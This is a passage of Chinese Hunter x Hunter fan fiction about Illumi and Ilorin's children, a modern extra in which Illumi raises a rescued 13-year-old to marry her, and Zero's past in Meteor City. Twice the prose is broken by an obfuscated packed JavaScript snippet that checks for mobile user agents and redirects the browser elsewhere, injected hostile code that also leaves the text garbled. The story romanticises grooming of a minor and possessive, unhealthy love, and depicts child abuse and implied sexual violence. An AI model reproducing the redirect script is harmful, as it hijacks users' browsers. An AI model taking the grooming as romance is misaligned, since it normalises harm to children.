而伊洛林也在用行动证明，哪怕家庭再重要，也比不上格蕾西，只需要格蕾西一句话，她也能干脆利落地推开伊尔迷提起裤子就走——不过这种事目前还没有过，毕竟格蕾西也没想真的搞得伊尔迷光鼙鼓思考人生。 连奇犽都会担心格蕾西和伊洛林的友情，只有她们本人一直知道，彼此在这个世界上都是对方最重要的人，永远不会改变，只不过她们对朋友的要求并不是一直一直在一起，也不需要一定接受对方做什么事不做什么事，仅此而已。 伊尔迷颇为恶劣地想着。 孩子们啊，等你们长大，发现妈妈最爱的不是爸爸，而是你们甚至都没见过的姨姨，你们的心情会怎么样呢？ 伊尔迷愉悦。 五岁的孩子们已经在森林里玩得尽兴彻底了，他们的运动神经太丰富，像有多动症一样，五个大人轮流陪着玩都没能耗尽他们的精力，哥哥带头冲锋，妹妹更加顽劣不堪，两个人是1+1＝无限的体能。他们对于训练没有任何想法，毕竟看着妈妈安然的在剧烈的电流里打瞌睡时，他们就觉得这是正常的，毕竟这可是妈妈啊！ 伊洛林：？ 他们甚至在比赛谁能吃更多的毒药。 而作为正统揍敌客家养育出来的人，伊洛林吃的饼干都能毒死一群成年大象了，实在是没搞清楚为什么要控制孩子不吃有毒的东西，反正别抓地上的塞进嘴里就行。抓也没事，别让她看见就行。好吧看见也行，反正她也不会管。 八岁时，两个孩子被丢进了天空竞技场，双双意外开念；十岁时，两个孩子被丢进了流星街。 伊尔迷当然是派出了足够的管家，但还是没能阻拦住两个孩子差点变成流星街老大，直到零把他们两个收拾了一遍。拎着后脖颈丢回了揍敌客。 米拉嬉皮笑脸叫着爷爷奶奶我们来啦，米达已经变成了一个束着高马尾的优秀男性，也笑吟吟地跟着叫，这两个不是揍敌客家的相当不要脸，尤其是米拉，和伊洛林一般大，还要叫爷爷奶奶。但人嘛，年纪大了，这种关系不嫌少，反正不是真的，应付一下也比冷落好，席巴和基裘欢迎至极。 零的两个孩子如果也是揍敌客家的，那么揍敌客家的强大将更上一层楼。 两个孩子心情不佳，讨厌比自己大的平辈！讨厌妈妈对他们的态度！讨厌他们！！ 十二岁时，哥哥把头发染黑了，因为觉得自己和妹妹不一样。 哥哥吃了一顿老父亲的竹笋炒肉鞭。 十三岁时，妹妹说要嫁给哥哥，于是哥哥又吃了一顿竹笋炒肉鞭，鞭子抽得火花带闪电，本来哥哥还在嘴硬，一看到伊洛林都拿起了那么粗的竹竿往里头注入念力，一下子头皮发麻的全交代了：他们觉得妈妈是哥哥的妹妹，那妹妹嫁给哥哥不可以吗？这么说出来估计妈妈会多看他们两眼，实际上两个小孩根本没有那种心思。 妹妹在一旁抽抽搭搭的哭，问伊洛林为什么不喜欢他们，他们不是妈妈生的吗？ 伊洛林丢了竹竿，转头就走。 伊尔迷跟了一路，跟回房间，抱着伊洛林整个下午，此后整整三天，伊洛林没有出过房门一步。 妹妹说完其实就后悔了。 因为伊尔迷曾经告诉他们，你们的妈妈是个迟钝且极端的人，她对你们绝对没有不爱，只是爱如果让她痛苦的话她就会视而不见。你们的妈妈吃过很久的苦，情绪也很难一直平稳，虽然近几年好了很多，但是也不能太刺激她的情绪。他拿出来一堆吃空了的药壳子，告诉他们每一种药的副作用和后遗症。 她很痛苦，所以下半辈子，爸爸只想她活在幸福里。 她不是不爱你们，只是不知道怎么爱你们，她连怎么爱自己都不知道。 下坠的人生里，唯有伊尔迷是她的例外。 格蕾西不是例外，格蕾西是她如影随形的双生子，她们没有什么例外不例外的，有的只是必然。 她从来不想做父母，伊尔迷也只愿意她做妹妹。 不必成熟地去面对，不需要勉强自己，她已经足够强大，足够坚强了，剩下的那些痛苦就全部都交给伊尔迷，他很乐意帮忙。他正是如此需要伊洛林的另一面。 孩子是伊尔迷想要的。 是她爱极了伊尔迷而愿意生的。 不是她因为想要孩子而生的。 她抗拒孩子，就像抗拒自己的过去一样，她逃避着那些，一生也没法去治愈。伊尔迷也无法去拯救那个被母亲踹倒而后蜷缩的女孩，没办法真的说他能够理解她趴在地上爬着去吃野生草药的痛苦，他终其一生也没办法让伊洛林遗忘那在森林里恐惧绝望又狼狈不堪的日日夜夜。 她痛苦了二十多年，伊尔迷也照顾了她多出来的三十多年。 “其实爸爸还觉得挺庆幸呢。”伊尔迷看着一双儿女，他不经常笑，每一次笑都让人心里发毛，而这一次他笑的弧度很大，却依旧让人觉得像似笑非笑，像僵硬的人体偏要表现出来温柔的模样，他的念力里拥有让两个孩子脊背发凉的恶意：“还好妈妈抗拒了她对你们的爱，否则爸爸就会嫉妒你们了呢… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352772|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …一想到你们是我的孩子，所以不能杀，就很苦恼呢。” 很抱歉啊，孩子们，你们爹也不是正常人。 他其实很爽，伊洛林只爱他一个人，哪怕从她肚子里生出来也不能改变这一点。 真是对不起啊。伊尔迷吐吐舌头。 伊洛林从房间里出来后倒是对两个孩子好了点，虽然有些别扭。 她陷入情绪里的时候会无比的憎恶自己，这一点从未改变过，她痛恨自己沉溺过去无法自拔，她怨恨自己被养了三十多年还没办法逃掉情绪的枷锁，她生了孩子却没有给爱，她和曾经的父母又有什么区别？而伊尔迷一句一句告诉她，这是没办法的，因为你生病了，你控制不住自己，因为你受伤了所以你需要疗伤，你看，孩子们的生活优渥，你不爱他们也没关系，你可以不爱任何人，只需要爱我就足够了。 哥哥对你的爱是绝对的。 哥哥对你三十年不曾减少只有增加的爱意。一直都在。 被双臂纠缠住脖颈时伊尔迷如此满足，哪怕伊洛林真的折腾起来甚至能给他两个巴掌，他也甘之如饴。妻子的巴掌落在脸上的时候，疼痛和快乐是共生的，而她激烈的情绪就是伊尔迷最爱的养料。伊洛林会在伊尔迷身上留下一个又一个牙印，她的爱通过咬来呈现，她咬出了血的次数绝不少，而她则会颤抖着一遍又一遍地咬着。 用这种方式来确认伊尔迷不是她的一场梦。 伊尔迷真的很喜欢伊洛林的所有，包括她不曾好转的病情，她脆弱的时候自己是她唯一的浮木，她绝望的时候自己是她唯一的希望，她哭泣的时候自己是她的港湾。 三十几岁的伊洛林还和少女一般，别无二致。 她还是会在哭泣的时候喊哥哥，因为她的哥哥一直都在她的身边。 她的哥哥总是在无条件地爱她。 所以哥哥是她的，她一个人的。 某种程度上来说，格蕾西想吐的情绪是正确的，毕竟这种病态的相爱根本不健康，伊洛林才会根本无法好转。 话题转回孩子这里。 对于妈妈的改变，他们受宠若惊，却又表现得不在乎，火化了之后就剩一张嘴的程度，但伊洛林也没在意，她这个岁数还要试着去学怎么表达那点微妙的母性，实在是有点难为人，她已经习惯了只爱伊尔迷一个人，剩余的感情分得七七八八给家里人。 格蕾西拥有她百分之九十的爱，伊尔迷一个人百分之八，剩下的家人们挤在那百分之二里。 孩子可能都还没进百分制里。 他们的快乐伴随着格蕾西的到来而变得崩溃。 伊洛林几乎每时每刻都在笑，她和格蕾西两个人不断地说着话，双目闪闪发亮，家中几乎回荡着她的笑声，格蕾西和她聊得天南海北，两个人之间的氛围连伊尔迷都退避三舍。她们吃睡都在一起，对于两个孩子，格蕾西也就是丢了两个礼物，随便应付了两句，也没怎么管。 他们甚至发现妈妈出门采购了，和格蕾西一起，买了一堆没什么用的东西，两个人一起分享了半天，半夜三更不睡觉，房间里还亮着灯。 嫉妒。 嫉妒。 嫉妒。 他们嫉妒得要发狂了。 他们求而不得爱，为什么会有人一口气拥有那么多？ 柯特对他们说，不要去争宠，也不要去企图伤害你们的格蕾西姨姨，因为你们的妈妈会发自内心地厌恶你们。当然不要争宠是因为你们争不过。 受害者柯特不愿意暴露姓名。 为了不被妈妈发自内心的厌恶，他们只能不停地忍耐，连爸爸都只能忍着，他们也不能去做出头鸟。 十八岁，哥哥已经能和奇犽打得难分上下，妹妹已经是揍敌客家最优秀的杀手，不断囤钱，不断地积累着经验， 奔四的伊洛林的生活依旧很平常。 毕竟拥有念的他们很难老去，现在还是壮年呢！ 哥哥问伊洛林，为什么你从不夸奖我们的进步？伊洛林回答，要做什么样的人都是你们的选择，你们的人生一直在自己手上。 他试图靠在妈妈怀里，伊洛林没有拒绝。 她抱着自己的孩子，抚摸他柔顺的银发，感受到他的颤抖。她可能以为哥哥在哭，可是哥哥只是在兴奋地颤抖着，他抱着妈妈的腰，感受到妈妈的温度，被母爱填充的感觉太让人兴奋了，他似乎在逐渐得到妈妈的爱。 爸爸，你说得对，只需要不断地爱着妈妈，妈妈就会逐渐地回应。 二十岁的时候，兄妹们终于能偶尔和伊洛林一起睡个午觉什么的，他们对让母亲开心这一点乐此不疲，几乎一直在搜罗着宝物回家送给伊洛林。 伊洛林很久没有发病了。 伊尔迷不太爽，但是又觉得这样也可以。 反正他还是伊洛林最爱的那个人。格蕾西从来不算在他的表格里，因为她就是个bug，是个作弊器，有她在，这个世界上没人能胜过她，所以忽略不计。 伊尔迷还是会一直贴着伊洛林。 伊洛林还是会喜欢伊尔迷一直贴着自己。 他们确实天生一对。 后来哥哥继承了奇犽的位置，妹妹辅佐着他，伊尔迷和伊洛林环游世界去了，他们之间的联络变成了信件，伊洛林反而能更坦诚地表露自己的爱一点，关心他们的日常生活，心情好坏，但她还是希望孩子们有自己的生活，不要一直想着爹妈。 妹妹私底下写信警告伊尔迷，不要生弟弟妹妹了，他们不想要弟弟妹妹。 伊尔迷回了很短的一行字：你们不会有的。 实际上在伊洛林怀孕后不久，伊尔迷就去做了结扎。这种事，这辈子只需要一次就足够了。 伊洛林不应该痛苦。 他曾经以为生育很简单，毕竟参照的人是基裘，但是伊洛林的状态让他深刻体会到生育不易，过程痛苦，所以伊尔迷反省自己，结扎了一了百了。 “怎么了？” 伊洛林躺在游泳圈上，戴着墨镜，享受太阳的海水，伊尔迷在她身边，长发扎起来，面色平静。 “没有，只是觉得我很爱你。” 伊洛林笑了起来，她昂首，迎接了来自自己丈夫的一个吻。 “嗯，我也爱你。” “伊尔迷，我爱你。” 从未直白的直抒胸臆的伊洛林，此刻满眼是伊尔迷。她完全不在乎路人的退避三舍，念力的激昂，她只是如此的，眼里只有伊尔迷一个人。 仅此而已。 100.林洛现代番外[番外] 林洛醒时，她的意识昏昏沉沉的。 好痛……全身都疼得像是要被碾碎了一样，尤其是被母亲狠狠踹过的腹部，伴随着每一次呼吸都像针扎一样痛苦。林洛控制着自己呼吸的频率，却隐约听见身侧有男人的声音。 “止痛针打了吗？” “少爷，已经打过了。” “没有办法再减轻疼痛了吗？” “我们尽量……尽量。” 她又不知不觉地昏厥了过去，眉头依旧紧紧皱起，一只冰凉的手覆盖上她因为高烧而滚烫的面颊，缓缓摩挲着这张脸。 林洛彻底醒来是在好几天之后了，她这段时间一直昏沉不能拥有具体意识，只能又冷又热的难受着，她一声不吭的受着，早已习惯饥饿的肠胃沉默的如同一块石头。现在她醒了，发觉自己在一个纯白色的地方，看起来像是村子里的诊所，却更干净，更大。 林洛愣愣地看着这地方，而走进来替她更换输液瓶的护士发现她醒来时，露出了松了一口气的表情。 “感觉怎么样？” 她利落地换好另外一瓶，调整好了流速，低头揉了揉这个小女孩的发顶：“安心吧，你已经没事了，不会再回去那个地方了……好好养伤，如果哪里不舒服，要和我说，知道吗？” “……谢谢你……” 她的嗓音嘶哑，而护士只是摇头。 “救你的，是我们的少爷，并不是我，或者这里的任何一个人，如果你要谢，就感谢他吧。” 林洛有些疑惑，但是没再说什么。 许是最近睡得太多，她不怎么困，只是望着窗户外面的景色发呆，她好久没有出来了，当初遇见顾深深的记忆就像是在做梦一样，她从那个地方出来，唯一遇见的光。现在，她终于又可以在外面呼吸空气了吗？ 林洛茫然而惆怅，直到她的病房门被推开，沉重的脚步声踏了进来。 她转头看见了陌生男人。 实话说这男人长得不差，很漂亮的类型，留着长发，阴郁得像是恐怖故事里爬出来的恶鬼，单薄衣服遮不住肌肉，体形修长如同乌云压顶一般，林洛的第一反应是恐惧。她太知道这样的男人能把自己怎样殴打了，她的父亲，虽然不是高大伟岸的，但是体重和身高远远超过自己，因此每一次被父亲的殴打都是一场濒死逃生的折磨。 男人停顿了脚步，停在几米开外，伸出手摆出投降的姿态来。 “如果你怕我，我可以不过去。” 他的声音与外表不同，温柔得有些好听，一双有些太大了的双目凝视着林洛紧张的眼睛，他的语速很慢，一字一句确保林洛能听懂：“我救了你，带你来了医院，放心，你的父母不会再找你的麻烦，我保证。” “……”林洛缓缓地低下头。 “嗯，我懂，你的疑惑很多。” “第一点，我为什么会在那种地方，偏僻得不行的小村子。第二，我为什么要救你，还要帮你解决你的父母。” 男人缓步走向另一侧，那里放着一张沙发。 “第一个问题，我是专门为了你而去的。第二点，因为我需要你在我身边。” 男人跷起二郎腿，小腿缠绕着小腿，他托腮注视着露出茫然神情的伊洛林，平静的表情像是海面，林洛下意识觉得，他没有看起来这么冷静：“我会提供你一切，上学、生活，我会给你你想要的全部，只需要从现在开始留在我身边就足够。怎么样？” 用自己？ 林洛毫不犹豫地点头。 哪怕是下一场噩梦，也没有关系，她总会找到出路的。她眼底有凶光，是一只到绝路的野兽，露出的最后的倔强。 可，事情和她想得不一样。 她的衣食住行都被伊尔迷照顾不说，从第一顿粥汤开始，伊尔迷就全程亲自伺候。 伊尔迷是这个男人的名字，从护士和她的闲聊里，林洛得知对方不仅是高才生，留学归来的海归，家里还很有钱，这家私人医院就是他家开的。老实说，看到大少爷亲自伺候林洛，她都以为林洛救过他的命。 可是林洛清楚地知道自己没有。 他们不仅是第一次见面，还是唯一一次见面。 她十分想自己来就可以，但伊尔迷只是低头吹着勺子里的汤，他精通炖汤，不知为何，好像照顾习惯了某个人。林洛局促，她低头喝下勺子里的汤，忍不住问他为什么。伊尔迷是个话多的人，给她读故事书，给她讲自己的弟弟，这个问题他思考了一下，很普通地回答了：“啊，因为我爱你。” 林洛吓了一跳，她才几岁？只是初中辍学而已！ 她已经开始觉得伊尔迷不是个好东西了……但伊尔迷只是擦了擦她的唇角，叹息似的补充说明：“从头来过也好，这样你就不会和那时候一样了。” “放心，我不会对你做什么。你只需要享受生活就行。” 伊尔迷真的说到做到。 林洛一出院，就住进了他家的别墅，拥有了一间大得吓人的房间，一衣柜的各种衣服，各色生活用品应有尽有，甚至多了一张附属卡，不限额度，只要主卡里的钱够，林洛想花多少花多少。和想象里的危险独处不一样，家里有伊尔迷的爹妈和四个弟弟，其中两个和自己年纪一样大，另一个则小自己一点。 林洛开始了在他家的生活。 伊尔迷对她的过度照顾众人有目共睹，席巴确认再三，知道没有越界的行为才没有阻拦，而基裘只觉得自己生了个叉烧，怎么能对这么小的孩子说爱你？可伊尔迷我行我素，从来不在乎别人的看法，安排好了学校，甚至是顾深深所在的那一家，又让奇犽与亚路嘉和她一同读书。 距离感很充足，只是照顾得比较多，没有任何肢体接触，也并不存在暧昧行为，林洛逐渐放下心来，警惕的心情也变成了感恩。 她开始学喊伊尔迷叫哥哥，伊尔迷很受用，还揉了揉她的发顶。 从十三岁到十八岁，林洛迅速成长起来，她 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但伊尔迷养她越来越漫不经心，越来越放松，偶尔不再为她炖汤，林洛自己想不明白，她跑进伊尔迷的房间里去问他为什么，难道自己交了男朋友也行吗？伊尔迷疑惑地问她，什么叫作交了男朋友，你的身边完全没有男性朋友，你也很讨厌男人，上个月你出去的时候都是和顾深深去学习去普通的玩，上周星期三下午五点半有男性跟你告白你拒绝了。 林洛不知道该不该说伊尔迷对她的关注度太高这件事。 “啊，你是在担心？”伊尔迷歪着头看她，恍然大悟：“洛洛，哥哥只是在等你到法定可结婚的年纪而已。原来你对哥哥这么着急了吗？嗯，是哥哥的失误，太把你当成小孩子了，那么接下来哥哥应该可以对你出手了吧？” 林洛还在迷迷糊糊，伊尔迷便已经达成定局。 他勾着唇角想，以退为进真是一步好棋，让林洛乖乖自己送进他怀里。 十九岁时，伊尔迷和林洛先订了婚。 她还在不知所措，伊尔迷就已经很熟练，她忍不住委屈，伊尔迷却告诉她，他从来没有别的女人，一直一直都是林洛一个人而已。 “你相信上辈子吗？或者下辈子。” “我一直在想，能不能真正地养育你长大，哥哥真的舍不得你哦……上辈子和下辈子，以后的永远，你都是哥哥的。没关系，不过是重新等待，哥哥有的是耐心等你长大，等你成熟，哥哥会千次百次地摘下你……” 他的笑意越来越大。 林洛搂住他的脖颈，失神问他，你到底在透过我看谁？ 我在看你。 伊尔迷说道。 伊洛林，哥哥终于把你从小养大了，不论你是林洛，还是伊洛林， 哥哥永远爱你。 林洛想，没关系，没有关系……不论哥哥爱着谁，都没有关系。她嫉妒那个叫伊洛林的，让哥哥为了她，养育自己到这个年纪，但是没关系，现在哥哥是属于自己的。 她攥紧伊尔迷的长发，狠狠咬住他的唇瓣。 谁也不能抢走你。 谁也不能……！ 伊尔迷心情愉悦，啊，在嫉妒呢……真漂亮的眼睛。 伊洛林，这辈子，你可要继续好好地爱哥哥啊。 101.从零开始的流星街[番外] 侠客一直觉得自己很幸福。 相比较于其他小孩，自己一直有个姐姐，会在夜间抱着自己睡觉，会在白天保护自己。他觉得自己和别人都不一样，每个人都是后来认识的，可只有他和姐姐，他们一直一直认识。 侠客其实也不知道他们是怎么相遇的，只是从记事起，他和零就一直一直在一起。零年长他好几岁，行为举止成熟，她不爱说话，总是皱着眉头，一副凶巴巴的样子，让别人不敢靠近，她的拳头很硬，打在身上痛得要命，可侠客从来不怕她。他总是叫着姐姐，灿烂笑着，去她怀里撒娇，他知道，姐姐的怀抱会从僵硬变得柔软。 “侠客。”姐姐说道：“别撒娇。” 可是姐姐从来不会真的不管他，他只要撒娇，姐姐就会一直在。 流星街的孩子们聚集在一起，年长的孩子保护年幼的孩子，这种缄默法则并不持续的有效，恃强凌弱、以大欺小、以多欺少这种事情，屡见不鲜。 侠客和库洛洛第一次相遇就是因为库洛洛被芬克斯抢走了东西。 哦，和芬克斯也是第一次相遇。 不过零显然不是，她熟练地一拳揍到芬克斯的脸上，踩着他的肚子，单手就把东西抢了回来丢给库洛洛，库洛洛的双眼闪闪发亮，张嘴就喊她：“零姐姐！” “笨蛋。”飞坦翻个白眼，半点没有帮忙的打算，哪怕他也是帮手，都不会在这个时候傻到去救芬克斯，零给了飞坦一个脑瓜嘣，伸手把芬克斯拉了起来，从怀里掏出糖分给三个小孩。侠客从后面抱住零，噘着嘴不高兴，零拆开糖纸，把糖放进他的嘴里，耐心地让他乖。 他只有姐姐一个人，可是姐姐好像有很多弟弟。 侠客一直都知道，自己是零最喜欢的弟弟，而零最喜欢的妹妹，莫过于萨拉萨了。男孩子不跟女孩子比，但是侠客对库洛洛那可是打起百分百的警惕之心：这么会卖萌的小孩，他的劲敌呢！ 库洛洛魂魄又可爱，侠客迷之和他作对，却又不可避免地被吸引，毕竟库洛洛这个人，流星街就没有不喜欢他的，芬克斯老是欺负他，但是从来不让他受伤，萨拉萨分零食的时候还会喊他一起去，一群孩子热热闹闹地在一起。 零从来不参与他们一起吃零食的行为。 她通常是带零食回来的那个人。 因为年纪比较大，零知道流星街的危险绝不在于自己人的打闹，她经常游走在比较靠近边缘的地带，大人与孩子们之间，流星街的人从来不被当成人，而是当作交易的物品，或者是玩耍的工具。 侠客那时候还小，不清楚零遇见了什么，只知道突然有一天开始，长老会议拥有了保护流星街的手段，而零也拥有了同样的力量，只是那一天回来的零十分不对劲。她依旧沉默寡言，却衣着凌乱，她冷冷地注视着前方，侠客触碰她时，她会更加的僵硬。 那是第一次，侠客被拒绝了。 很久以后侠客才明白，她遇见了什么，又被怎样地对待。 零开始告诉孩子们，不要离开伙伴，不要独自一人，不要去稍微外围的地方，不要去垃圾山里随便翻找东西，最后，不要太听长老议会的话。萨拉萨为中心的一群女孩子们更是如此被耳提面命，希拉则表示自己会一直跟着萨拉萨她们。 零稍微放松了些许。 她打人其实是不要命的，如果有不长眼的大人来欺负他们，零绝对能靠着拳头获胜，她和窝金两个人结伴，通常在孩子生活的边缘地带游走，也经常和窝金打架，两个人打得你来我往的，不过最终都会是零获胜。侠客更加黏着零，已经到了晚上没有陪伴就睡不着的地步，于是零只好花更多的时间陪他。 “姐姐，你会一直爱我吗？” “不知道。” “一直爱我，好不好？” “未来的事从来没有定数。” “没有你我绝对不行的。”侠客搂着她，埋头在她怀里：“姐姐，我从小就在你身边，我离不开你……” 或许零应该拒绝侠客，但是她迟疑了。 她缓缓抱住侠客，没再多说什么，于是日子缓缓过去，他们也在一天天地长大。零成长的速度更快，几乎像是干涸的海绵不断吸纳着力量，而长老议会和某些人合作，挑选合适的成员加入某些地方的事情不是秘密。零被挑选的每一次她都拒绝了，她成长不是为了为谁卖命，只是为了流星街的孩子们。 侠客害怕零会离他而去，总是穷极地追在零的身后，直到萨拉萨的死亡将他们虚假的安全屏障撕开了裂口。 那是一场雨。 一场像是永不停歇的滂沱大雨。 冲刷着泥土地，把痕迹冲淡，冲淋至再也看不见，血啊，也被冲刷得淡了，却融入进脚下的泥土地里。 零仿佛失去了所有的力气。 她一步一步，摇晃着走向库洛洛，伸出僵硬的手，哪怕库洛洛嘶吼着叫她别过来，她也恍若未闻。那只口袋紧紧束缚着，扎紧了。不顾库洛洛的抗拒，零伸手搂住她，将那麻袋搂在怀里，深深地、像从前的每一次一样。 人活着的时候，会呼吸，会有心跳，会有体温与鲜明的情绪。 人死后，切碎，如同冰冷的石头，隔着麻袋也能感受到，诡异而又毛骨悚然的触感。 “……零…姐姐……” 库洛洛无力阻拦，也不可能真的阻碍零去拥抱萨拉萨。 是啊，她是姐姐，她一直都是姐姐。 零抬起头，她与库洛洛四目相对，望见那双眼里的痛苦与绝望，望见他破碎而愤怒的灵魂，零喃喃自语，泪水顺着面颊不断流淌，这大概是她自出生以来第一次哭，将泪水、雨水与血液混合在了一起。 “她必须，埋进土里……” “她会、变成…大地的一部分……” “来年春天，一定会…开出花…会……继续……成长……她会长大的，她会……” “……她必须，埋进土里……” 她要在流星街。 她被遗弃在这里，她在这里长大，她在这里认识了朋友，她在这里被掠夺走了生命。 萨拉萨，必须，埋在流星街。 她闭上眼睛，听见雨声，听见他们的哭泣声，听见库洛洛拒绝回答问题的声音，听见他们的痛苦随着雨水嘀嗒嘀嗒的声音。零全身冰凉，她取下那张纸，为萨拉萨整理了凌乱的头发，她亲吻了女孩冰凉的额头，泪水在苍白的脸上留下温度，可是再也不会有人笑着叫着，拉着她的手说大家当然就是要在一起啊。 零什么也不想了。 这场雨停止了，但他们心里的雨，依旧不止不休。 她看得懂那些字，因为是库洛洛一句一句教她的，那个时候侠客就在后悔，自己为什么没能学会？于是在分开的那三年里，他们每个人都在拼命，只有留守在萨拉萨下葬的地方。 她只做一件事，那就是拼了命地去保护剩下的孩子。 她打起人来要命，流星街到最后几乎没有多少人没有被她打过，一圈又一圈，打出了「青鬼」的恶名，拥有蓝色长发的女孩，如同恶鬼，生死不论，拳头决定一切，她如同钢铁一般的身躯不畏惧枪械，她杀太多人，杀到血流成河，杀到身上的血性再也压不下去，唇齿锋利，侠客再回到她身边时她几乎不知道自己还能做什么。 守护萨拉萨在的流星街？ 她一直追踪着曾经的那帮人，将相似的家伙们都捏碎脖颈，却找不到其余的痕迹。 她一遍又一遍去想，那些人在录像折磨萨拉萨时，是不是带着和自己经历过的一样，恶劣的笑容，他们将女孩当作牲口时有没有爽到？她去想萨拉萨恐惧的脸，她或许临死前还在惦记库洛洛缺失的那碟录像带，她可能…… “姐姐……” 侠客唤她，轻轻拥抱住她，疯了三年的零在他怀里沉沉睡去，她的眼里依旧是那场雨，像那场雨笼罩在他们身边，逃无可逃。 库洛洛没有邀请零加入。 玛琪也不理解为什么，他们这些老成员，哪一个没有和零一起生活过，哪一个没有见证过她的强大，沉默寡言却温柔，行为不留情面，却总能微妙注意到他们的心情。 库洛洛只说有窝金就足够了。 谁也不知道为什么他不愿意，而零或许本来也没有很愿意加入幻影旅团。 蜘蛛八号最终落在了别人身上。 而零在和侠客独处的一周里，他们混乱了彼此的关系，零在那一刻想的是什么，谁也不知道。而后零离开了流星街，参加了猎人考试，却在最后一场考试里发现自己怀孕，考虑到很多因素，她在猎人考试结束之后立刻遁入深山老林，在野外自己生育下米拉。 她抱起那脆弱的孩子时，控制不住地落下眼泪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360207|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 门琪听着她的哭声，看她哭得狼狈至极，她像是找到了人生最后的意义，她找到了活下去的支柱，她的眼泪和米拉的哭声混杂在一起，有两个人的新生在这一刻重新出现。 她抽噎着，号啕大哭着，萨拉萨的身影仿佛离开了。 “……米拉，你以后就叫米拉……” 美好的，和平的……通常是给予女孩子的名字。 米拉，萨拉萨。 零为自己找到一场活下去的证明。 零开始筹备第一家孤儿院，拥有猎人证之后，她能做的事情实在是太多，没人会觉得她怀孕，或许也没人会觉得她会生孩子，侠客还没来得及给零的手机装上定位器，她就已经在外面行走，很偶尔回去一次，也被邀请到了幻影旅团的基地里，每个人都在变，只有零一直如此。 她很忙，忙着去寻找世界上的美食，忙着赚钱，忙着孤儿院，忙着挑选人员，忙着养育米达，猎人协会帮了她不少忙，于是她也感谢猎人协会。 只是那一次回去，她没看见别人，只遇见了库洛洛。 按零的智商应该是想不明白为什么自己会和库洛洛在一张床上待着的，她拒绝了库洛洛，不是因为侠客，而是因为他们不合，从前的库洛洛或许可以趴在她腿上读书，可以和她说想要和零有属于他们的孩子，那些都是童言稚语，不能当成真的。可库洛洛说，不合适？没试过为什么会不合适？你爱侠客吗？你只是习惯吧，那为什么不尝试一下呢？ 检查出来怀孕的时候，零是脑内宇宙的。 门琪骂了三个多小时没听过，给零科普了什么是避孕药，什么是婴儿嗝屁套。 但零觉得那就生吧，又不是什么大事。 门琪扶着墙壁，心累。 到底是谁会觉得生孩子不是什么大事啊！用你没有表情却漂亮的脸好好摆出一个苦恼的表情啊喂！！ 最后米拉还是降生了，好好隐瞒之后，孤儿院也在遍地开花。 米拉四岁时，零在流星街捡到了格蕾西，送到了幻影旅团基地里养。 米拉十二岁时，零遇见了伊洛林。 那孩子和自己很像，怪不得格蕾西一开始认错了她们，那孩子茫然而迟钝，零注意到伊尔迷看着她的视线，像是库洛洛看着自己一样。 ……好吧，原来如此。 伊洛林做事总是会太迂回，为了照顾到任何一个人，为了自己的坚持。 在她去陪着库洛洛，又陪着侠客的时间里，零想男人其实都是一个德行的，他们要，却不会把人生都变成这样，爱不会决定很多事情，而伊尔迷大概永远追逐着一缕月光。 她是没预料到窝金会死。 在酷拉皮卡给的地点里挖出窝金的尸体时，她只觉得痛苦，如果这是他们的未来，那么为什么要从流星街走出来？他们早就变得面目全非，早就变不成以前的自己，萨拉萨，你如果在看的话，你是不是也在哭？ 零没有对酷拉皮卡动手，只是火化了窝金的尸体，带走了他的骨灰。 她捧着骨灰回到蜘蛛们的临时据点。 她一拳阻拦了派克诺坦的自杀式坦诚。 “窝金已经死了，你们也要一个个地在我面前死去吗？” 她的眼泪顺着面颊不断落下，她抱着骨灰盒，像很多年前抱着装有萨拉萨的袋子一样，于是所有人都沉默，将盒子交给派克诺坦，她最后望了一眼他们。 “我会去陪库洛洛找除念师。” “不团结的蜘蛛，死了也算活该，别让我再为你们做事了。” 她离开了。 找到库洛洛时先把他打了一顿，又把他拉起来治疗。 库洛洛搂着零，他怀抱童年最大的心愿，突兀地笑了，你看，他其实很小的时候就知道自己想要什么，哪怕这个岁数才视线，也无所谓。 他们都被困在一场雨里，为什么不能一起撑伞呢。 “……姐姐……” 库洛洛将脸埋在零的怀里。 “陪着我吧。” “再也别离开了，好不好？” 如果你的答案是否定，那我的答案会变成跟随。蜘蛛要复仇，那么复仇将永存。零没有说话，她只是沉默，她只是知道，自己放不下任何一个孩子，哪怕他们已经长大成这样的凶恶。 库洛洛，你还是喜欢勉强。